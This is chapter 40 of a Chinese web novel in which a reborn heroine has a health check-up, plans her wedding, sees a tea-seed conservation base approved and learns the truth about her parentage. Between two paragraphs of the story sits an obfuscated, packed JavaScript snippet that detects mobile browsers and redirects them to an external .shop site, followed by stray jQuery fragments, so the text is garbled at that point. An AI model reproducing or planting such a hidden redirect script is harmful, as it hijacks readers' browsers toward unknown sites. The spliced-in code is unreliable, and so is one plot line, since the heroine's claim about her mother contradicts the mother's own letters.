40. 第 40 章

作品:《重生女卖农产品致富

    胃镜复查结果出来的那天,沈逸尘比梁云诗还紧张。


    他一大早就醒了,轻手轻脚做好早饭,坐在床边等梁云诗醒来。梁云诗一睁眼,就看到他眼巴巴的样子,忍不住笑了:“你怎么比我还像病人?”


    “我这是替咱们俩紧张。”沈逸尘递过温水,“快起来,吃完早饭去医院。”


    检查很顺利。当医生看着报告说“肠上皮化生范围明显缩小,继续巩固治疗”时,沈逸尘长舒一口气,一把抱住梁云诗,声音都哽咽了:“太好了……真的太好了。”


    梁云诗拍拍他的背,眼睛也湿了。只有经历过前世那种绝望,才懂得此刻的如释重负是多么珍贵。


    从医院出来,阳光正好。沈逸尘牵着梁云诗的手,在街边的梧桐树下慢慢走。


    “诗诗,咱们把婚礼补办了吧。”他忽然说。


    梁云诗一愣:“怎么突然提这个?”


    “不是突然。”沈逸尘停下脚步,认真看着她,“领证那会儿太匆忙,后来合作社事情一件接一件,你的身体又……现在一切都好起来了,我想给你一个完整的婚礼。”


    他顿了顿,声音温柔得像秋天的阳光:“我想看你穿婚纱的样子,想在所有人的见证下,再说一次我愿意。”


    梁云诗心头一暖,点点头:“好。”


    ---


    “要办婚礼了?!”


    李大婶的大嗓门响彻整个合作社。消息像长了翅膀,半小时内传遍全村。


    张老三笑得满脸褶子:“早该办了!咱们云溪镇好久没热闹过了!”


    王强更直接:“梁姐,沈总,婚礼在哪办?合作社广场行不行?我负责布置!”


    黄弘涛刚从试验田回来,听到消息赶紧说:“我认识省城的婚庆公司,需要的话我联系。”


    梁云诗被大家的热情弄得哭笑不得:“就是个简单的仪式,不用太隆重……”


    “那怎么行!”李大婶第一个反对,“你可是咱们云溪镇的功臣,婚礼必须风风光光!酒席我负责,保证让大家都吃好!”


    沈逸尘笑着揽住梁云诗的肩:“看吧,你想简单都简单不了。”


    正热闹着,赵明远兴冲冲跑进来,手里挥舞着文件:“批了!批了!原生茶种保护基地,批了!”


    全场安静了一秒,随即爆发出更大的欢呼。


    “真的?!”梁云诗接过文件,手指微微发抖。


    “千真万确!”赵明远激动得脸都红了,“省农业厅特批的,咱们云溪镇是全省第一个!每年有专项保护资金,还有技术扶持!”


    沈父从外面进来,听到消息眼眶都湿了:“老陈要是知道……该多高兴啊。”


    是啊,陈爷爷守护了一辈子的茶种,终于有了正式的名分和保护。梁云诗看着文件上鲜红的印章,觉得重生以来所有的努力都值了。


    双喜临门。合作社决定把婚礼和基地揭牌仪式放在同一天办,既是小家之喜,也是大家之庆。


    ---


    婚礼筹备紧锣密鼓地开始了。


    李大婶果然包办了酒席,菜单改了又改,非要凑够十二道菜,寓意月月红。张老三负责采买,每天开着小货车往镇上跑。王强和黄弘涛带着年轻人布置场地,合作社广场搭起了喜庆的红色棚子。


    梁云诗反倒成了最闲的人。她每天的任务就是试婚纱、定妆容,还有——整理家里的旧物。


    沈逸尘说婚礼前要彻底打扫新房,把一些不用的旧东西整理出来。梁云诗在阁楼翻箱倒柜时,在一个老樟木箱的底层,发现了一个铁皮饼干盒。


    盒子很旧了,边角都生了锈。梁云诗记得这是母亲嫁妆里带来的,一直没见打开过。


    她轻轻撬开盒盖。里面没有饼干,而是整整齐齐码着一叠信,还有几张黑白照片。


    信纸已经泛黄,但字迹娟秀。梁云诗拿起最上面一封,展开——


    “致二十年后的自己:如果你看到这封信,说明你已经是个勇敢的母亲了。今天,我决定留下这个孩子,尽管所有人都劝我放弃。我不知道未来会怎样,但我知道,每个生命都值得被爱。苏文静,1982年春。”


    苏文静是母亲的名字。


    梁云诗心跳漏了一拍。她继续往下看,第二封、第三封……都是母亲年轻时写给自己的信,记录着怀孕时的忐忑,生产时的疼痛,还有对那个未曾谋面的“他”的复杂情感。


    照片里,年轻的母亲抱着一个婴儿站在老屋前,笑容温柔而疲惫。背景里的老屋,正是现在合作社所在的院落。


    梁云诗一张张翻看,在盒底发现了一张泛黄的结婚证——母亲和父亲的,登记日期是1983年冬,而她出生于1982年秋。


    她坐在阁楼的地板上,整个人像被定住了。阳光从窗户斜射进来,灰尘在光柱里飞舞。


    前世的记忆碎片般涌现——母亲总是欲言又止的眼神,父亲偶尔的叹息,还有那些亲戚间含糊的议论。她曾经隐约感觉自己的身世有些特别,但从未深究。


    而现在,真相以最直接的方式摆在她面前。


    ---


    沈逸尘回家时,发现梁云诗坐在客厅沙发上,面前摊着那个铁皮盒。她脸色平静,但眼睛红红的。


    “诗诗?”他快步走过去,“怎么了?”


    梁云诗把信和照片推到他面前:“我妈妈……不是我亲生母亲。”


    沈逸尘一愣,迅速看完那些信件,沉默了。许久,他握住梁云诗的手:“你打算怎么办?”


    “我不知道。”梁云诗声音很轻,“我妈养了我四十年,疼了我四十年。是不是亲生的,重要吗?”


    “对你可能不重要,但对她重要。”沈逸尘很清醒,“她藏了这个秘密四十年,一定有她的苦衷。你该和她谈谈。”


    正说着,梁母提着菜篮回来了。看见茶几上的铁皮盒,她手里的篮子“哐当”掉在地上,青菜撒了一地。


    “诗诗……你……”她脸色煞白,嘴唇发抖。


    梁云诗站起来,走过去扶住母亲:“妈,咱们谈谈。”


    ---


    三人坐在院子里。桂花开了,香气馥郁。


    梁母握着茶杯,手一直在抖。沈逸尘悄悄退到屋里,把空间留给母女俩。


    “妈,您不说我也能猜到大概。”梁云诗先开口,“那个年代,未婚先孕……很艰难吧?”


    梁母的眼泪唰地流下来:“1981年,我在镇小学代课,遇到一个来采风的画家……他很温柔,很有才华。我们相爱了,他说会回来娶我。”


    她擦擦眼泪,声音哽咽:“但他走了就再没回来。我发现自己怀孕时,所有人都劝我打掉。可我不忍心……你是我的骨肉啊。”


    “后来呢?”


    “后来你爸——我是说,你养父知道了。”梁母露出温柔的笑,“他是我们村的会计,老实本分。他说他不介意,愿意和我一起养大你。我们就结婚了。”


    梁云诗握住母亲的手:“那我的……生父,后来找过吗?”


    梁母摇头:“找过,听说他去了国外。我也不想找了,有你爸,有你,我就满足了。”


    她看着梁云诗,眼泪又涌出来:“诗诗,妈对不起你,瞒了你这么多年……”


    “您没有对不起我。”梁云诗抱住母亲,“您给了我生命,养我长大,教我做人。您就是我亲妈,永远都是。”


    母女俩抱头痛哭。四十年的秘密,四十年的隐忍,终于在这一刻释然。


    沈逸尘在屋里听着,眼眶也红了。他想起自己的父母——虽然早逝,但给了他最完整的爱。爱从来不只是血缘,更是日复一日的陪伴和付出。


    ---


    晚上,梁云诗和沈逸尘躺在床上,都睡不着。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152857|195596||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “想什么呢?”沈逸尘侧身看她。


    “想我妈。”梁云诗轻声说,“她真不容易。那个年代,顶着那么大的压力生下我,又遇到我爸那样的好人……”


    “是啊。”沈逸尘搂紧她,“所以你是带着爱来到这个世界上的。虽然开始可能不太顺利,但后来的每一天,你都被深深爱着。”


    梁云诗心里一动。是啊,前世她总觉得自己不幸,父母早逝,孤苦伶仃。可现在看来,母亲给了她生命,养父母给了她完整的家,重生后遇到了沈逸尘,遇到了云溪镇这么多可爱的人。


    她一直被爱着,只是有时忽略了。


    “沈逸尘,你说我要不要找找那个人?”她忽然问。


    “你想找吗?”


    梁云诗想了很久,摇头:“不想。我有爸妈,有你,有云溪镇。过去的就让它过去吧,珍惜眼前的幸福更重要。”


    沈逸尘亲了亲她的额头:“你长大了。”


    “死过一回的人了,还能不长大?”梁云诗笑。


    月光从窗户洒进来,温柔地笼罩着相拥的两人。


    第二天,梁云诗把铁皮盒还给母亲:“妈,这个您收好。对我来说,您就是我亲妈,爸就是我亲爸。婚礼上,我要你们亲手把我交给沈逸尘。”


    梁母抱着盒子,哭得像个孩子。


    婚礼前两天,梁父从省城回来了——他一直在儿子家住,听说女儿要办婚礼,提前回来帮忙。


    知道秘密揭开后,这个沉默寡言的男人只说了一句话:“诗诗永远是我闺女。”


    简单,却重如千斤。


    ---


    婚礼和基地揭牌仪式如期举行。


    那天天气特别好,秋高气爽。合作社广场上坐满了人,不光云溪镇的乡亲,县里市里的领导、李教授的团队、赵明远带着的镇干部都来了。连山本莉娜都特意从日本飞回来,做了梁云诗的伴娘。


    梁云诗穿着洁白的婚纱,挽着父母的手走向沈逸尘时,全场掌声雷动。


    沈逸尘站在红毯尽头,西装笔挺,眼眶泛红。当梁父把梁云诗的手交到他手里时,这个向来沉稳的男人声音都在抖:“爸,妈,我会用一生爱护诗诗。”


    仪式很简单,但每个环节都充满温情。交换戒指时,沈逸尘拿出的是两枚素圈对戒——内圈刻着“云溪”二字和他们的结婚日期。


    “以后咱们每年结婚纪念日,都回云溪镇过。”他在她耳边轻声说。


    揭牌仪式更热闹。当红绸落下,“云溪原生茶种保护基地”的铜牌在阳光下闪闪发光时,陈老爷子的照片被郑重地摆在了牌前。


    张老三倒了三杯茶,洒在照片前:“老陈,你看到了吗?你的茶种,咱们守住了。”


    很多人都哭了。为这份传承,为这份守护,为这片土地上生生不息的爱与希望。


    晚宴上,梁云诗和沈逸尘挨桌敬酒。走到父母那桌时,梁云诗深深鞠躬:“爸,妈,谢谢你们。”


    千言万语,都在这一句里。


    梁父梁母泪流满面,连连点头:“好,好,你们要好好的。”


    夜深了,客人们渐渐散去。梁云诗和沈逸尘换了便装,手牵手在村里散步。


    红灯笼还亮着,桂花香飘满街。偶尔遇到晚归的乡亲,都笑着道喜:“新婚快乐!早生贵子!”


    走到古井边,两人停下。井水映着月光,波光粼粼。


    “沈逸尘,我今天特别幸福。”梁云诗靠在他肩上。


    “以后会更幸福。”沈逸尘搂紧她,“诗诗,谢谢你选择回来,选择我,选择云溪镇。”


    梁云诗抬头看他:“那你呢?后悔放弃省城的事业吗?”


    “从来没有。”沈逸尘答得毫不犹豫,“这里有我的根,我的爱,我值得奋斗一生的事业。”


    是啊,根与爱。这大概就是人生最重要的两件事了。